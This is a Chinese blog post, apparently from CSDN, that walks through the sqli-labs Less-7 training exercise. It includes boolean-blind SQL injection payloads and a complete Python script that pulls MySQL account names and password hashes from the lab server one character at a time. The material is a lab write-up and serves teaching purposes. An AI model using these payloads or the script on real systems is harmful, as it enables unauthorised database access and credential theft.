感谢Python,让我又在同学面前装了一次逼

「作者主页」:士别三日wyx
「作者简介」:CSDN top200、阿里云博客专家、华为云享专家、网络安全领域优质创作者

前段时间,有个学网安的同学找到我要菜刀(一种后门连接工具)。
我问他怎么了,要干啥?
他说sqllib第七关需要上传木马文件,用菜刀连接。
我很懵逼,这一关我做过,不需要用菜刀,用的盲注。
他不服气,给我扔来截图,说人家题目就是让写入文件。
在这里插入图片描述
“你在教我做事?”,我向来不喜欢按规矩做事,直接怼了回去,接着把盲注的Python脚本甩到他“脸上”。
虽然他好长时间没理我,但我知道,这次又是我赢了,我已经赢他太多了。

一、功能分析

简单分析一下网站的功能,大致如下:
需要用户输入参数id,后台会根据输入的id查询用户信息。
如果查询到用户信息,则显示查询成功,比如 输入 ?id=1
在这里插入图片描述
如果查询不到用户信息,则显示出错,比如 输入 ?id=0(用户的id不能是0或负数,id为0会导致后台查询不到用户信息)
在这里插入图片描述
如果后台报错,同样显示出错,比如 输入 ?id=1’(在参数中携带单/双引号,会导致后台数据库报错,前提是后台代码未过滤引号)
在这里插入图片描述

二、思路分析

前端页面不显示动态的用户信息(没有显示位),不适合联合注入。
不显示数据库的报错信息(显示错误,但错误是人为写死的,不是数据库本身的错误),不适合报错注入。
只有成功和失败两种情况,推荐使用布尔盲注。
备注:出题者的意图是写入文件,网上已经有很多写入文件的教程,本篇文章使用布尔盲注猜解数据库。

三、实现步骤

1)判断注入点

输入 ?id=1’,页面异常显示(提示错误),初步判断注入点是单引号字符型注入。
在这里插入图片描述
输入 ?id=1",页面正常显示(查询成功),说明双引号不会改变SQL的语法结构,可以确定注入点就是单引号字符型注入。
在这里插入图片描述
输入 ?id=1’ and 1 – a,使用万能账号验证注入点,异常显示。
在这里插入图片描述
添加括号继续尝试,输入 ?id=1’) and 1 – a,仍然异常显示。
在这里插入图片描述
继续添加括号尝试,输入 ?id=1’)) and 1 – a,页面正常显示。
在这里插入图片描述
改变SQL的恒成立性,进行验证,输入 ?id=1’)) and 0 – a,页面异常显示。
在这里插入图片描述
由此可以验证上述观点,网站的注入点类型为:单引号+双引号的字符型注入。

2)判断长度

MySQL的默认数据库 mysql 中,有一个 user 表,该表存放数据库的用户信息,查询 user 表,可以获取数据库用户的账号和密码。
SQL:select group_concat(user,password) from mysql.user
页面不能显示具体的查询数据,我们可以使用猜解的方式来判断具体的数据,首先,我们猜解长度。假设用户名的长度大于1个字符,payload如下:

?id=1')) and length(
	(select group_concat(user,password)
	from mysql.user)
)>1 -- a

用户名的长度肯定是大于1个字符,因此页面正常显示。
在这里插入图片描述
我们再假设用户名的长度小于1个字符,payload如下:

?id=1')) and length(
	(select group_concat(user,password)
	from mysql.user)
)<1 -- a

用户名的长度肯定不会小于1个字符,因此页面异常显示。
在这里插入图片描述
由此可以判断,长度验证payload可以正常使用,接下来,我们假设用户名的长度等于1个字符,并由1开始递增,页面异常显示表示长度不对,页面正常显示表示长度正确,payload如下:

?id=1')) and length(
	(select group_concat(user,password)
	from mysql.user)
)=1 -- a

手动猜解比较麻烦,这里我们借助Python进行自动化测试,脚本如下:

import requests

# 目标网址(不带参数)
url = "http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"
# 猜解长度使用的payload
payload_len = """?id=1')) and length(
	                (select group_concat(user,password)
	                from mysql.user)
                )={n} -- a"""
# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in.... Use outfile......' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增           

# 开始猜解
getLength(url, payload_len)

猜解长度为42,运行结果如下:
在这里插入图片描述

3)枚举字符

长度确定之后,我们利用ASCLL码表枚举每个字符的可能性。
ASCLL码表总共127个字符(可输入的字符范围是32~126),我们将每个字符转换成ASCLL码,由32开始枚举判断,递增至126,页面异常显示表示猜测错误,页面正常显示表示猜测正确。
手动枚举比较麻烦,这里我们使用Python自动化验证,脚本如下:

import requests

# 目标网址(不带参数)
url = "http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"
# 枚举字符使用的payload
payload_str = """?id=1')) and ascii(substr(
                    (select group_concat(user,password)
                    from mysql.user)
                ,{n},1))={r} -- a"""

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    for l in range(1, length+1):
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            if 'You are in.... Use outfile......' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
getStr(url, payload_str, 42)

成功猜解数据库用户的账号和密码,执行结果如下:
在这里插入图片描述

3)完成脚本如下

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"
# 猜解长度使用的payload
payload_len = """?id=1')) and length(
	                (select group_concat(user,password)
	                from mysql.user)
                )={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1')) and ascii(substr(
                    (select group_concat(user,password)
                    from mysql.user)
                ,{n},1))={r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in.... Use outfile......' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    for l in range(1, length+1):
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            if 'You are in.... Use outfile......' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

感谢你的点赞、收藏、评论,我是三日,祝你幸福。

  • 25
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 10
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

士别三日wyx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值